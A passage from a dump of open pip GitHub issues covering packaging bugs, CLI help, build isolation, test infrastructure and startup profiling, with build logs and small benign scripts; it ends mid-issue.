Appveyor would now be testing 3 unit + 3 inte (from 6 + 2)

Edited:
* moved 3.7 integration to Azure since Appveyor is picky and fails with `ERROR: virtualenv is not compatible with this system or executable`

user: xavfernandez
labels: C: tests: Testing and related things
OS: windows: Windows specific
type: maintenance: Related to Development and Maintenance Processes
issue_6781: state: open
title: Provide small examples/reminders for requirement specifier format in pip install help
body: **What's the problem this feature will solve?**

Currently the output of `pip install --help` lists some ways to invoke the command

```
$ pip help install

Usage:
  pip install [options] <requirement specifier> [package-index-options] ...
  pip install [options] -r <requirements file> [package-index-options] ...
  pip install [options] [-e] <vcs project url> ...
  pip install [options] [-e] <local project path> ...
  pip install [options] <archive url/path> ...

...
```

but does not define a `<requirement specifier>` or provide any examples. Given that users have often installed pip as a standalone utility (using `get-pip.py`), man pages will not be available and they would need to look at the user guide online. This is especially painful in enterprise environments that do not allow direct internet access (only via e.g. IE as a Citrix virtual app...).

**Describe the solution you'd like**

In the output of `pip install --help` include a few examples, for example:

```
SomeProject - install the latest available version
SomeProject==1.3
"SomeProject>=1.2,<2.0"
"SomeProject[foo, bar]" - install the extras foo and bar of SomeProject
"SomeProject~=1.4.2" - install the latest 1.4.x that is at least 1.4.2
```

**Alternative Solutions**

* Direct users to the user guide
* Direct users to [PEP 440](https://www.python.org/dev/peps/pep-0440/)/[PEP 508](https://www.python.org/dev/peps/pep-0508/)
user: chrahunt
labels: type: docs: Documentation related
state: needs discussion: This needs some more discussion
C: cli: Command line interface related things (optparse, option grouping etc)
issue_6773: state: open
title: Document how to disable keyring for users who might want to
body: It'd probably be useful to add something like the following to our documentation. Borrowing from twine:

```rst
Disabling Keyring
^^^^^^^^^^^^^^^^^

In some cases, the presence of keyring may be problemmatic. To disable
keyring and defer to a prompt for passwords, uninstall ``keyring``
or if that's not an option, you can also configure keyring to be disabled.

See `twine 338 <https://github.com/pypa/twine/issues/338>`_ for a
discussion on ways to do that.
```
user: pradyunsg
labels: type: docs: Documentation related
issue_6758: state: open
title: Log debug and informational messages to stderr only
body: **What's the problem this feature will solve?**

Commands that generate output for the user (`pip list`, `pip freeze`) must be concerned with debug output.

**Describe the solution you'd like**

As mentioned in [#6099](https://github.com/pypa/pip/issues/6099#issuecomment-454484277):

1. all log messages should go to stderr instead of stdout
2. command API related output should use a dedicated interface that outputs to stdout

Any issue that seeks to make the CLI more usable would benefit from this change. This also avoids issues like #6024.

**Alternative Solutions**

Originally, ad-hoc redirection of logger output to stderr was used to preserve command output. This could be used again, but it would make logging output from commands inconsistent in pip.

**Additional Context**

* #6099
user: chrahunt
labels: type: enhancement: Improvements to functionality
state: awaiting PR: Feature discussed, PR is needed
help wanted: For requesting inputs from other members of the community
issue_6718: state: open
title: Build isolation can be a problem with the python-for-android cross compile environment, but disabling it also disables build-system.requires breaking some package installs
body: **Environment**

* pip version: `latest on pypi right now - installed via -U pip`  - should be 19.1.1
* Python version: 3.7
* OS: ubuntu in docker, host is fedora 29 x64

**Description**
I have run into a case where when I specify --no-build-isolation, pip will install dependencies out of order and if any of these dependencies has a `pyproject.toml`, apparently pip may try to obtain wheel metadata of that dependency (by running its `setup.py`) without ensuring pyproject.toml's `build-system.requires` packages are around. This seems like a bug to me, because isn't the entire point of `build-system.requires` that these packages need to be around for the package to build or even run the `setup.py` correctly, no matter if the build is isolated or not?

I am also quite practically impacted by this bug or behavior because 1. I need to use `pyproject.toml` in dependencies due to `setup_requires` not liking Cython (the easy_install sandbox messes with the Cython compiler) and I use Cython `.pxd` deps which `install_requires` doesn't guarantee to be around at build, and 2. I am in a cross compilation environment (python-for-android) where `--no-build-isolation` is required for all builds because some packages cannot be installed without custom patching, so it's not safe for pip to temporarily reinstall some things as is inherently happening with the build isolation

**Expected behavior**
no `setup.py` is ever run even if just for obtaining wheel metadata without everything in `build_requires` being installed, even if `--no-build-isolation` is used

**How to Reproduce**

I don't have an example package right now, really sorry :cry: (because this all happened in python-for-android) but this should work:

1. Create new project using `setup.py` in a new folder `/my/project/path`
2. Specify a package as a dep that needs another one at build time, e.g. like `pip install git+git://github.com/wobblui/wobblui@562daf6e796fdf8d8a50733b532f9cacae4d4df5` (later commits have a workaround!) - wobblui depends on `https://github.com/JonasT/nettools` for building the wheel and specifies this in its `pyproject.toml`/with `build-system.requires`
3. Install your new project using `cd /my/project/path && pip install --user -U --no-build-isolation .`
4. Keep fingers crossed that pip chooses an unlucky order for the deps, and indeed tries to e.g. generate `wobblui` wheel metadata before it tried to install `nettools` (which is what happened for me)

**Output**

(really sorry this looks so weird, it's in python-for-android)
```

[INFO]:    Launching package install...
[DEBUG]:   -> running bash -c '/home/userhome/.local/share/python-for-android/build/venv/bin/pip' install --no-build-isolation -c ._tmp_p4a_recipe_constraints.txt .
[DEBUG]:   	Processing /home/userhome/workspace
[DEBUG]:   	    Preparing wheel metadata ... done
[DEBUG]:   	Requirement already satisfied: Cython==0.29.12 in /home/userhome/.local/share/python-for-android/build/venv/lib/python3.6/site-packages (from -c ._tmp_p4a_recipe_constraints.txt (line 2)) (0.29.12)
[DEBUG]:   	Requirement already satisfied: Pillow==5.2.0 in /home/userhome/.local/share/python-for-android/build/python-installs/unnamed_dist_1 (from -c ._tmp_p4a_recipe_constraints.txt (line 3)) (5.2.0)
[DEBUG]:   	Collecting sfxscan@ git+https://github.com/JonasT/sfxscan.git# from git+https://github.com/JonasT/sfxscan.git (from myapp==0.1)
[DEBUG]:   	  Cloning https://github.com/JonasT/sfxscan.git to /tmp/pip-install-oyi75skp/sfxscan
[DEBUG]:   	  Running command git clone -q https://github.com/JonasT/sfxscan.git /tmp/pip-install-oyi75skp/sfxscan
[DEBUG]:   	  Running command git submodule update --init --recursive -q
[DEBUG]:   	    Preparing wheel metadata ... done
[DEBUG]:   	Collecting wobblui@ https://github.com/wobblui/wobblui/archive/master.zip# from https://github.com/wobblui/wobblui/archive/master.zip (from myapp==0.1)
[DEBUG]:   	  Downloading https://github.com/wobblui/wobblui/archive/master.zip (1.4MB)
     |################################| 1.4MB 390kB/s
[DEBUG]:   	    Preparing wheel metadata ... error
[DEBUG]:   	    ERROR: Complete output from command /home/userhome/.local/share/python-for-android/build/venv/bin/python3 /home/userhome/.local/share/python-for-android/build/venv/lib/python3.6/site-packages/pip/_vendor/pep517/_in_process.py prepare_metadata_for_build_wheel /tmp/tmpz5xnpef1:
[DEBUG]:   	    ERROR: Compiling /tmp/pip-install-oyi75skp/wobblui/src/wobblui/image.pyx because it changed.
[DEBUG]:   	    [1/1] Cythonizing /tmp/pip-install-oyi75skp/wobblui/src/wobblui/image.pyx
[DEBUG]:   	    Compiling /tmp/pip-install-oyi75skp/wobblui/src/wobblui/filedialog.pyx because it changed.
[DEBUG]:   	    [1/1] Cythonizing /tmp/pip-install-oyi75skp/wobblui/src/wobblui/filedialog.pyx
[DEBUG]:   	    Compiling /tmp/pip-install-oyi75skp/wobblui/src/wobblui/button.pyx because it changed.
[DEBUG]:   	    [1/1] Cythonizing /tmp/pip-install-oyi75skp/wobblui/src/wobblui/button.pyx
[DEBUG]:   	    Compiling /tmp/pip-install-oyi75skp/wobblui/src/wobblui/woblog.pyx because it changed.
[DEBUG]:   	    [1/1] Cythonizing /tmp/pip-install-oyi75skp/wobblui/src/wobblui/woblog.pyx
[DEBUG]:   	    Compiling /tmp/pip-install-oyi75skp/wobblui/src/wobblui/label.pyx because it changed.
[DEBUG]:   	    [1/1] Cythonizing /tmp/pip-install-oyi75skp/wobblui/src/wobblui/label.pyx
[DEBUG]:   	    Compiling /tmp/pip-install-oyi75skp/wobblui/src/wobblui/perf.pyx because it changed.
[DEBUG]:   	    [1/1] Cythonizing /tmp/pip-install-oyi75skp/wobblui/src/wobblui/perf.pyx
[DEBUG]:   	    Compiling /tmp/pip-install-oyi75skp/wobblui/src/wobblui/texture.pyx because it changed.
[DEBUG]:   	    [1/1] Cythonizing /tmp/pip-install-oyi75skp/wobblui/src/wobblui/texture.pyx
[DEBUG]:   	    Compiling /tmp/pip-install-oyi75skp/wobblui/src/wobblui/timer.pyx because it changed.
[DEBUG]:   	    [1/1] Cythonizing /tmp/pip-install-oyi75skp/wobblui/src/wobblui/timer.pyx
[DEBUG]:   	    Compiling /tmp/pip-install-oyi75skp/wobblui/src/wobblui/modal.pyx because it changed.
[DEBUG]:   	    [1/1] Cythonizing /tmp/pip-install-oyi75skp/wobblui/src/wobblui/modal.pyx
[DEBUG]:   	    Compiling /tmp/pip-install-oyi75skp/wobblui/src/wobblui/textedit.pyx because it changed.
[DEBUG]:   	    [1/1] Cythonizing /tmp/pip-install-oyi75skp/wobblui/src/wobblui/textedit.pyx
[DEBUG]:   	    Compiling /tmp/pip-install-oyi75skp/wobblui/src/wobblui/widget.pyx because it changed.
[DEBUG]:   	    [1/1] Cythonizing /tmp/pip-install-oyi75skp/wobblui/src/wobblui/widget.pyx
[DEBUG]:   	    Compiling /tmp/pip-install-oyi75skp/wobblui/src/wobblui/osinfo.pyx because it changed.
[DEBUG]:   	    [1/1] Cythonizing /tmp/pip-install-oyi75skp/wobblui/src/wobblui/osinfo.pyx
[DEBUG]:   	    Compiling /tmp/pip-install-oyi75skp/wobblui/src/wobblui/color.pyx because it changed.
[DEBUG]:   	    [1/1] Cythonizing /tmp/pip-install-oyi75skp/wobblui/src/wobblui/color.pyx
[DEBUG]:   	    Compiling /tmp/pip-install-oyi75skp/wobblui/src/wobblui/box.pyx because it changed.
[DEBUG]:   	    [1/1] Cythonizing /tmp/pip-install-oyi75skp/wobblui/src/wobblui/box.pyx
[DEBUG]:   	    Compiling /tmp/pip-install-oyi75skp/wobblui/src/wobblui/list.pyx because it changed.
[DEBUG]:   	    [1/1] Cythonizing /tmp/pip-install-oyi75skp/wobblui/src/wobblui/list.pyx
[DEBUG]:   	    Compiling /tmp/pip-install-oyi75skp/wobblui/src/wobblui/dragselection.pyx because it changed.
[DEBUG]:   	    [1/1] Cythonizing /tmp/pip-install-oyi75skp/wobblui/src/wobblui/dragselection.pyx
[DEBUG]:   	    Compiling /tmp/pip-install-oyi75skp/wobblui/src/wobblui/cache.pyx because it changed.
[DEBUG]:   	    [1/1] Cythonizing /tmp/pip-install-oyi75skp/wobblui/src/wobblui/cache.pyx
[DEBUG]:   	    Compiling /tmp/pip-install-oyi75skp/wobblui/src/wobblui/__init__.pyx because it changed.
[DEBUG]:   	    [1/1] Cythonizing /tmp/pip-install-oyi75skp/wobblui/src/wobblui/__init__.pyx
[DEBUG]:   	    Compiling /tmp/pip-install-oyi75skp/wobblui/src/wobblui/widget_base_borderdraw.pyx because it changed.
[DEBUG]:   	    [1/1] Cythonizing /tmp/pip-install-oyi75skp/wobblui/src/wobblui/widget_base_borderdraw.pyx
[DEBUG]:   	    Compiling /tmp/pip-install-oyi75skp/wobblui/src/wobblui/gfx.pyx because it changed.
[DEBUG]:   	    [1/1] Cythonizing /tmp/pip-install-oyi75skp/wobblui/src/wobblui/gfx.pyx
[DEBUG]:   	    Compiling /tmp/pip-install-oyi75skp/wobblui/src/wobblui/scrollbarwidget.pyx because it changed.
[DEBUG]:   	    [1/1] Cythonizing /tmp/pip-install-oyi75skp/wobblui/src/wobblui/scrollbarwidget.pyx
[DEBUG]:   	    Compiling /tmp/pip-install-oyi75skp/wobblui/src/wobblui/window.pyx because it changed.
[DEBUG]:   	    [1/1] Cythonizing /tmp/pip-install-oyi75skp/wobblui/src/wobblui/window.pyx
[DEBUG]:   	
[DEBUG]:   	    Error compiling Cython file:
[DEBUG]:   	    ------------------------------------------------------------
[DEBUG]:   	    ...
[DEBUG]:   	    import sys
[DEBUG]:   	    import time
[DEBUG]:   	    import traceback
[DEBUG]:   	    import weakref
[DEBUG]:   	
[DEBUG]:   	    from nettools.cssparse cimport parse as cssparse
[DEBUG]:   	    ^
[DEBUG]:   	    ------------------------------------------------------------
[DEBUG]:   	
[DEBUG]:   	    src/wobblui/widget_base.pyx:33:0: 'nettools/cssparse.pxd' not found
[DEBUG]:   	
[DEBUG]:   	    Error compiling Cython file:
[DEBUG]:   	    ------------------------------------------------------------
[DEBUG]:   	    ...
[DEBUG]:   	    import sys
[DEBUG]:   	    import time
[DEBUG]:   	    import traceback
[DEBUG]:   	    import weakref
[DEBUG]:   	
[DEBUG]:   	    from nettools.cssparse cimport parse as cssparse
[DEBUG]:   	    ^
[DEBUG]:   	    ------------------------------------------------------------
[DEBUG]:   	
[DEBUG]:   	    src/wobblui/widget_base.pyx:33:0: 'nettools/cssparse/parse.pxd' not found
[DEBUG]:   	
[DEBUG]:   	    Error compiling Cython file:
[DEBUG]:   	    ------------------------------------------------------------
[DEBUG]:   	    ...
[DEBUG]:   	            if self._cached_custom_css_ruleset is not None:
[DEBUG]:   	                return self._cached_custom_css_ruleset
[DEBUG]:   	            if self._own_custom_css is None or \
[DEBUG]:   	                    len(self._own_custom_css.strip()) == 0:
[DEBUG]:   	                return None
[DEBUG]:   	            self._cached_custom_css_ruleset = cssparse(
[DEBUG]:   	                                             ^
[DEBUG]:   	    ------------------------------------------------------------
[DEBUG]:   	
[DEBUG]:   	    src/wobblui/widget_base.pyx:382:42: 'cssparse' is not a constant, variable or function identifier
[DEBUG]:   	
[DEBUG]:   	    Error compiling Cython file:
[DEBUG]:   	    ------------------------------------------------------------
[DEBUG]:   	    ...
[DEBUG]:   	            if self._cached_custom_css_ruleset_for_children is not None:
[DEBUG]:   	                return self._cached_custom_css_ruleset_for_children
[DEBUG]:   	            if self._children_custom_css is None or \
[DEBUG]:   	                    len(self._children_custom_css.strip()) == 0:
[DEBUG]:   	                return
[DEBUG]:   	            self._cached_custom_css_ruleset_for_children = cssparse(
[DEBUG]:   	                                                          ^
[DEBUG]:   	    ------------------------------------------------------------
[DEBUG]:   	
[DEBUG]:   	    src/wobblui/widget_base.pyx:394:55: 'cssparse' is not a constant, variable or function identifier
[DEBUG]:   	    Compiling /tmp/pip-install-oyi75skp/wobblui/src/wobblui/widget_base.pyx because it changed.
[DEBUG]:   	    [1/1] Cythonizing /tmp/pip-install-oyi75skp/wobblui/src/wobblui/widget_base.pyx
[DEBUG]:   	    Traceback (most recent call last):
[DEBUG]:   	      File "/home/userhome/.local/share/python-for-android/build/venv/lib/python3.6/site-packages/pip/_vendor/pep517/_in_process.py", line 207, in <module>
[DEBUG]:   	        main()
[DEBUG]:   	      File "/home/userhome/.local/share/python-for-android/build/venv/lib/python3.6/site-packages/pip/_vendor/pep517/_in_process.py", line 197, in main
[DEBUG]:   	        json_out['return_val'] = hook(**hook_input['kwargs'])
[DEBUG]:   	      File "/home/userhome/.local/share/python-for-android/build/venv/lib/python3.6/site-packages/pip/_vendor/pep517/_in_process.py", line 69, in prepare_metadata_for_build_wheel
[DEBUG]:   	        return hook(metadata_directory, config_settings)
[DEBUG]:   	      File "/home/userhome/.local/share/python-for-android/build/other_builds/hostpython3/desktop/hostpython3/native-build/Lib/site-packages/setuptools/build_meta.py", line 154, in prepare_metadata_for_build_wheel
[DEBUG]:   	        self.run_setup()
[DEBUG]:   	      File "/home/userhome/.local/share/python-for-android/build/other_builds/hostpython3/desktop/hostpython3/native-build/Lib/site-packages/setuptools/build_meta.py", line 140, in run_setup
[DEBUG]:   	        exec(compile(code, __file__, 'exec'), locals())
[DEBUG]:   	      File "setup.py", line 215, in <module>
[DEBUG]:   	        ext_modules = extensions(),
[DEBUG]:   	      File "setup.py", line 87, in extensions
[DEBUG]:   	        'linetrace': DEBUG_BUILD,
[DEBUG]:   	      File "/home/userhome/.local/share/python-for-android/build/venv/lib/python3.6/site-packages/Cython/Build/Dependencies.py", line 1096, in cythonize
[DEBUG]:   	        cythonize_one(*args)
[DEBUG]:   	      File "/home/userhome/.local/share/python-for-android/build/venv/lib/python3.6/site-packages/Cython/Build/Dependencies.py", line 1219, in cythonize_one
[DEBUG]:   	        raise CompileError(None, pyx_file)
[DEBUG]:   	    Cython.Compiler.Errors.CompileError: /tmp/pip-install-oyi75skp/wobblui/src/wobblui/widget_base.pyx
[DEBUG]:   	    ----------------------------------------
[DEBUG]:   	ERROR: Command "/home/userhome/.local/share/python-for-android/build/venv/bin/python3 /home/userhome/.local/share/python-for-android/build/venv/lib/python3.6/site-packages/pip/_vendor/pep517/_in_process.py prepare_metadata_for_build_wheel /tmp/tmpz5xnpef1" failed with error code 1 in /tmp/pip-install-oyi75skp/wobblui
[DEBUG]:
```
^ as you can see it runs wobblui's Cythonization, which happens because wobblui uses `cythonize()` to put together its extensions so this automatically runs when the `setup.py` is invoked (see here: https://github.com/wobblui/wobblui/blob/84bc49f34a329b7fccdd2593fba9d91d30379f20/setup.py#L69 ) even if just to get the metadata and *not* actually build the wheel. This wouldn't be an issue if nettools was installed first as specified here: https://github.com/wobblui/wobblui/blob/84bc49f34a329b7fccdd2593fba9d91d30379f20/pyproject.toml#L2 - which it is in build isolation, but not with `--no-build-isolation`, apparently
user: ghost
labels: state: needs discussion: This needs some more discussion
type: feature request: Request for a new feature
C: PEP 517 impact: Affected by PEP 517 processing
issue_6715: state: open
title: Cannot install pip for python3.6 on Linux 32bits : AttributeError
body: **Environment**

* pip version: Not yet installed for python3.6
* Python version: Python 3.6.5 :: Anaconda, Inc.
* OS: Ubuntu 14.04.6 LTS 32 bits

<!-- Feel free to add more information about your environment here -->

**Description**
`get-pip.py` script fails to install pip for python3.6 on Ubuntu 14.04.6 LTS 32bits.

**Expected behavior**
The installation of pip should be successful and the `pip` module should be installed into `/usr/local/lib/python3.6/dist-packages/pip`

**How to Reproduce**
<!-- Describe the steps to reproduce this bug. -->

1. `wget https://bootstrap.pypa.io/get-pip.py`
2. `sudo python3.6 get-pip.py`

**Output**
```python
Traceback (most recent call last):
  File "get-pip.py", line 21492, in <module>
    main()
  File "get-pip.py", line 197, in main
    bootstrap(tmpdir=tmpdir)
  File "get-pip.py", line 119, in bootstrap
    import setuptools  # noqa
  File "/usr/lib/python3/dist-packages/setuptools/__init__.py", line 12, in <module>
    from setuptools.extension import Extension
  File "/usr/lib/python3/dist-packages/setuptools/extension.py", line 7, in <module>
    from setuptools.dist import _get_unpatched
  File "/usr/lib/python3/dist-packages/setuptools/dist.py", line 16, in <module>
    import pkg_resources
  File "/usr/lib/python3/dist-packages/pkg_resources.py", line 1479, in <module>
    register_loader_type(importlib_bootstrap.SourceFileLoader, DefaultProvider)
AttributeError: module 'importlib._bootstrap' has no attribute 'SourceFileLoader'
```

user: sebma
labels: project: <downstream>: When the cause/effect is related to redistributors
type: support: User Support
issue_6712: state: open
title: Docker-based integration tests
body: **What's the problem this feature will solve?**

When writing automated tests for issues that depend on system setup or environment, stubbing out or mocking the related interfaces can be difficult or less robust than full integration tests:

1. changing the configuration, for example to use a specific configuration file, changes the actual code paths taken
1. mocking system-related functions (e.g. `os.*` or `ssl.*`) creates a maintenance overhead if we change the implementation later
1. the isolation may be incomplete (see #5957)

**Describe the solution you'd like**

Use Docker to execute integration tests that can be invoked locally (opt-in) and in CI.

This should not impact existing functional and unit tests, but enable new test strategies for scenarios that require more isolation or prerequisites that depend on global state in the OS, filesystem, or network.

Examples that could benefit:

1. #2125
1. #5957
1. #6264
1. #6364
1. #6707

The specific tasks required to close this issue would probably be:

1. Basic interface for interacting with and executing commands in a running container - similar functionality to `tests.lib.PipTestEnvironment`.
1. At least one test showing usage of the above, e.g. demonstrating pip behavior which requires reading edited global `pip.conf`
1. Integration with CI

**Alternative Solutions**

1. Continue using strictly in-process/environment-based isolation and redirection for tests.
1. Using Docker-based integration tests, but running the tests from inside the container. This may be slower and depending on the specific test case we may need to opt-out of currently global behavior (e.g. any fixture with `autouse=True`). This would also need some higher-level orchestration or commands to actually execute and accumulate the test output.
1. Keeping integration tests in a separate repository.

**Additional context**

Azure pipelines support Docker for Linux (via `ubuntu-16.04`) and Windows (via `win1803`) per [this page](https://docs.microsoft.com/en-us/azure/devops/pipelines/agents/hosted?view=azure-devops).

There is not a clear winner with regards to pytest plugins, but having a simple helper that executes commands in a container spawned from a pre-defined image (or one of a set created for the test) should not be too much.
user: chrahunt
labels: C: tests: Testing and related things
state: needs discussion: This needs some more discussion
type: maintenance: Related to Development and Maintenance Processes
issue_6703: state: open
title: `pip uninstall` fails when called in the package's source dir
body: **Environment**

* pip version: 19.1.1
* Python version: 3.6.8
* OS: macOS

**Description**


I installed a local package, `spam`, using `python3 -m pip install --user .`. If I try to uninstall my package when the package folder is in the current directory, I get the following:

```bash
$ pwd
/Users/me/spam
$ ls
README.md  setup.cfg  setup.py  test  tox.ini  spam
$ python3 -m pip uninstall --verbose spam
Not sure how to uninstall: spam 0.0.1 - Check: /Users/me/spam  # this line only shown with --verbose flag
Can't uninstall 'spam'. No files were found to uninstall.
```

The uninstall completes successfully when I run it from a different directory:

```bash
$ cd \tmp && python3 -m pip uninstall --verbose spam
# successfully uninstalls...
```

**Expected behavior**
I did not expect `uninstall` to be sensitive to the contents of the local directory. If this is the expected behavior for technical reasons, I would change the `stderr` message `Can't uninstall 'spam'. No files were found to uninstall.` to be more helpful in indicating that the failure could be because there is a local folder with the target package's name.
user: reynoldsnlp
labels: type: enhancement: Improvements to functionality
UX: User experience related
C: error messages: Improving error messages
issue_6690: state: open
title: Delay evaluation of re.compile to improve startup time.
body: **What's the problem this feature will solve?**

Speed up pip startup time, as motivated by #4768.

**Describe the solution you'd like**

Globally evaluate calls to `re.compile` lazily, only executing when needed.

**Alternative Solutions**

1. Manually delaying evaluation by refactoring code that uses `re.compile` at global or class scope to do so as-needed.
2. Create and use an explicit function for lazy-evaluated regex in our code.

A quick grep in `pip/_internal` shows 21 calls in our code, out of the 220 total mentioned below, so neither of these are likely to have a large impact.

**Additional context**

Profiling with `cProfile` indicates that a non-negligible part of our startup time is due to calls to `re.compile`. Evaluating it lazily shows some improvement. Just running `pip`, we see:

| Metric | Before | After |
|:-|-:|-:|
| all function calls | 295461 | 216540 |
| total time | 0.224 s | 0.182 s |
| calls to `re.compile` | 220 | 32 |
| time in `re.compile` | 0.064 s | 0.024 s |

The times will always be machine/hardware-dependent, but it seems worth evaluating as an option just from the reduction in number of function calls.

To reproduce, run

<details>
<summary><code>test.sh</code></summary>

```
#!/bin/sh

set -x
d="$(mktemp -d)"
cd "$d"
python -m cProfile -o pip.cprof -m pip >/dev/null
python -c 'from pstats import Stats; Stats("pip.cprof").print_stats("re.py.*\(compile\)")'
# just for testing without requiring file patching
cat <<EOF > sitecustomize.py
import re


class Proxy:
    def __init__(self, source):
        self.__source = source
        self.__created = False

    def __getattribute__(self, name):
        if name.startswith('_Proxy_'):
            return object.__getattribute__(self, name)
        if not self.__created:
            self.__created = True
            self.__object = self.__source()

        return getattr(self.__object, name)


old_compile = re.compile

def re_compile(*args, **kwargs):
    return Proxy(lambda: old_compile(*args, **kwargs))

re.compile = re_compile
EOF
PYTHONPATH=$PWD python -m cProfile -o pip.cprof -m pip >/dev/null
python -c 'from pstats import Stats; Stats("pip.cprof").print_stats("re.py.*\(compile\)")'
```

</details>

<details>
<summary>Example output</summary>

```
+ mktemp -d
+ d=/tmp/user/1000/tmp.KtQjQEhJvT
+ cd /tmp/user/1000/tmp.KtQjQEhJvT
+ python -m cProfile -o pip.cprof -m pip
+ python -c from pstats import Stats; Stats("pip.cprof").strip_dirs().print_stats("re.py.*\(compile\)")
Mon Jul  8 21:21:36 2019    pip.cprof

         295461 function calls (285279 primitive calls) in 0.224 seconds

   Random listing order was used
   List reduced from 2370 to 1 due to restriction <'re.py.*\\(compile\\)'>

   ncalls  tottime  percall  cumtime  percall filename:lineno(function)
      220    0.000    0.000    0.064    0.000 re.py:232(compile)


+ cat
+ PYTHONPATH=/tmp/user/1000/tmp.KtQjQEhJvT python -m cProfile -o pip.cprof -m pip
+ python -c from pstats import Stats; Stats("pip.cprof").strip_dirs().print_stats("re.py.*\(compile\)")
Mon Jul  8 21:21:36 2019    pip.cprof

         216540 function calls (208328 primitive calls) in 0.182 seconds

   Random listing order was used
   List reduced from 2367 to 1 due to restriction <'re.py.*\\(compile\\)'>

   ncalls  tottime  percall  cumtime  percall filename:lineno(function)
       32    0.000    0.000    0.024    0.001 re.py:232(compile)
```

</details>

The important parts from the output show the numbers I included in the table above.

Run 1 (no change):

```
         295461 function calls (285279 primitive calls) in 0.224 seconds
   ncalls  tottime  percall  cumtime  percall filename:lineno(function)
      220    0.000    0.000    0.064    0.000 re.py:232(compile)
```

Run 2 (lazy `re.compile`):

```
         216540 function calls (208328 primitive calls) in 0.182 seconds
   ncalls  tottime  percall  cumtime  percall filename:lineno(function)
       32    0.000    0.000    0.024    0.001 re.py:232(compile)
```
user: chrahunt
labels: type: enhancement: Improvements to functionality
state: needs discussion: This needs some more discussion
issue_6677: state: open
title: pip show "License: UNKNOWN" despite license in Trove classifiers
body: **Environment**

* pip version: pip 19.1.1 from /usr/local/lib/python3.7/site-packages/pip (python 3.7)
* Python version: 3.7
* OS: macOS Mojave 10.14.5

**Description**
<!-- A clear and concise description of what the bug is. -->

License is UNKNOWN:

```
$ pip show pillow
Name: Pillow
Version: 6.1.0
Summary: Python Imaging Library (Fork)
Home-page: http://python-pillow.org
Author: Alex Clark (Fork Author)
Author-email: aclark@aclark.net
License: UNKNOWN
Location: /usr/local/lib/python3.7/site-packages/Pillow-6.1.0-py3.7-macosx-10.14-x86_64.egg
Requires:
Required-by:
```

**Expected behavior**
<!-- A clear and concise description of what you expected to happen. -->

Pillow has no `license=` in `setup()` but has a known licence in the Trove classifiers:

```python
        classifiers=[
...
            "License :: OSI Approved :: Historical Permission Notice and Disclaimer (HPND)",
...
        ],
```

These suggest `license=` shouldn't be used when there's a license in the Trove `classifiers=` (emphasis mine):

* https://packaging.python.org/specifications/core-metadata/?highlight=license#license

> Text indicating the license covering the distribution **where the license is not a selection** from the “License” Trove classifiers. See “Classifier” below. This field may also be used to specify a particular version of a license which is named via the Classifier field, or to indicate a variation or exception to such a license.

* https://packaging.python.org/guides/distributing-packages-using-setuptools/?highlight=license#license

> The license argument doesn’t have to indicate the license under which your package is being released, although you may optionally do so if you want. If you’re using a standard, well-known license, then your main indication **can and should be via the classifiers argument**. Classifiers exist for all major open-source licenses.

> The “license” argument is more **typically used to indicate differences from well-known licenses, or to include your own, unique license**. As a general rule, it’s a good idea to use a standard, well-known license, both to avoid confusion and because some organizations avoid software whose license is unapproved.

The PR (https://github.com/pypa/packaging.python.org/pull/492) for this latter said it's to "Indicate that this argument is meant for deviations from the Trove classifier, not instead of it."

Where does `License` from `pip show` come from?

Do we need to include `license=` to show the correct license in `pip show`, or is something extra needed in pip?

Thank you!
user: hugovk
labels: type: enhancement: Improvements to functionality
C: list/show: 'pip list' or 'pip show'
state: needs discussion: This needs some more discussion
issue_6668: state: open
title: Vendor PySocks?
body: **What's the problem this feature will solve?**
pip works with a SOCKS proxy if [PySocks] is installed. On a host which can access the internet only via a SOCKS proxy, it's possible to download `get-pip.py` e.g. through `curl`. However, since PySocks is not vendored in pip, running `get-pip.py` fails with `requests.exceptions.InvalidSchema: Missing dependencies for SOCKS support.`.

**Describe the solution you'd like**
Consider vendoring PySocks along with urllib3 and Requests to allow better behavior when internet access is only available via a SOCKS proxy.

**Alternative Solutions**
It is possible to download the necessary packages on an internet-connected host using `pip download`, `tar` them up, copy them over via flash drive or `scp`, and then run `get-pip.py` with the `--no-index` and `--find-links` arguments pointing at these packages. I was able to get a working pip using this process after a couple of attempts.

It's probably also possible to download the necessary wheels manually through PyPI's web interface, but I did not attempt this.

**Additional context**
While the issue relates to the `get-pip` bootstrap, it seemed to be appropriate to report the issue on this repository since `get-pip.py` is just a self-extracting version of pip.

[PySocks]: https://pypi.org/project/PySocks/
user: iamthad
labels: type: enhancement: Improvements to functionality
C: proxy: Dealing with proxies and networking
project: vendored dependency: Related to a vendored dependency
state: needs discussion: This needs some more discussion
issue_6658: state: open
title: pip doesn't support relative paths in direct URL references
body: **Environment**

* pip version: 19.1.1
* Python version: 3.7
* OS: MacOS Mojave

<!-- Feel free to add more information about your environment here -->

**Description**
I'm not sure if this is a `six` bug or a Pip bug. Excuse me if it belongs to `six`.

Pip seems to allow local paths in `install_requires` via `name @ ./some/path`, but the URL parsing is terribly broken.

https://github.com/pypa/pip/blob/a38a0eacd4650a7d9af4e6831a2c0aed0b6a0329/src/pip/_internal/download.py#L670-L690

In this function, it uses `urlsplit` to get the individual components of the incoming URL.

Here's what that looks like with a few pieces of input:

```
./foo/bar -> SplitResult(scheme='', netloc='', path='./foo/bar', query='', fragment='')
file:./foo/bar -> SplitResult(scheme='file', netloc='', path='./foo/bar', query='', fragment='')
file://./foo/bar -> SplitResult(scheme='file', netloc='.', path='/foo/bar', query='', fragment='')
```

Notice the last one results in the `netloc` being `.` instead of empty and the `path` being absolute, not local. This trips the error regarding non-local paths. That's all fine and well - I can use the second form to satisfy the conditional logic (though it really ought to support the first as well).

However, there's conflicting logic elsewhere...

https://github.com/pypa/pip/blob/169eebdb6e36a31e545804228cad94902a1ec8e9/src/pip/_vendor/packaging/requirements.py#L103-L106

This is the logic that fails even though we satisfy the prior logic.

Here's a test function that shows the problem:

```python
from six.moves.urllib import parse as urllib_parse

def tryparse(url):
    print(url)
    parsed = urllib_parse.urlparse(url)
    unparsed = urllib_parse.urlunparse(parsed)
    parsed_again = urllib_parse.urlparse(unparsed)
    print(parsed)
    print(unparsed)
    print(parsed_again)
```

Here's the output for `./foo/bar`:

```python
>>> tryparse('./foo/bar')
./foo/bar
ParseResult(scheme='', netloc='', path='./foo/bar', params='', query='', fragment='')
./foo/bar
ParseResult(scheme='', netloc='', path='./foo/bar', params='', query='', fragment='')
```

All good, though it doesn't satisfy the first function's logic of requiring a scheme of `file:`.

Here's the output for `file:./foo/bar`:

```python
>>> tryparse('file:./foo/bar')
file:./foo/bar
